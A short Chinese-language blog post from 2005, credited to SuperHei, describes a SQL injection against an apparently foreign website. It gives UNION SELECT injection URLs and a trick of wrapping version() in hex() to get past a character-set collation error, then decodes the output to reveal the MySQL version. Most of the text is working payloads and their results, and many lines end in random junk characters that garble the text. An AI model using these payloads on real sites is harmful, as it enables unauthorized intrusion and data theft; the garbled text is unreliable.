本文作者:SuperHei8 o$ \+ T, B U; E
文章性质:原创
1 ~/ j9 c: G3 Y, I发布日期:2005-10-18
' e" t: N3 ~1 Z! V+ K测试个国外的站时:" T( m$ [" l i# t2 M9 ~8 L
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
: M! \3 H! i0 \' @# e5 r; ~0 T9 W9 N返回错误:
6 N: m0 S6 z' N4 c$ v1 d2 K1 \5 MIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'- c# T, r- [' v* \( @. |
MySQL Error No. 126+ h- H. t6 p8 X
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。0 O* ~3 c4 `! i3 `7 Y( t( f
解决办法:转为其他编码如hex。 e e; Z& P( }% y. S6 x1 d: c
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/** w4 N5 F1 G0 o1 M, Z6 l
成功得到hex(version())的值为:
! g6 b0 N* d G342E312E332D62657461/ y |# l/ n8 F* v1 @( r* W
回Mysql查询下得到:6 j3 R) u- h9 _9 E0 X/ `+ o* ?! p
mysql> select 0x342E312E332D62657461;2 M, Q+ D3 J2 n' P$ m+ r
+------------------------+; Y( R0 X- P1 q3 Z& D
| 0x342E312E332D62657461 |2 z5 {; ^% i( b
+------------------------+: a, z: v' G6 j- D& o7 V
| 4.1.3-beta |
* W; e. p) j. z' p# {& h/ _- v+------------------------+
2 ]+ _2 o) F9 Y. H, e, M1 row in set (0.00 sec)
. |5 t% U( q$ V y* b3 X% L: p$ J) C9 Z% h7 K) f3 D6 K4 a
|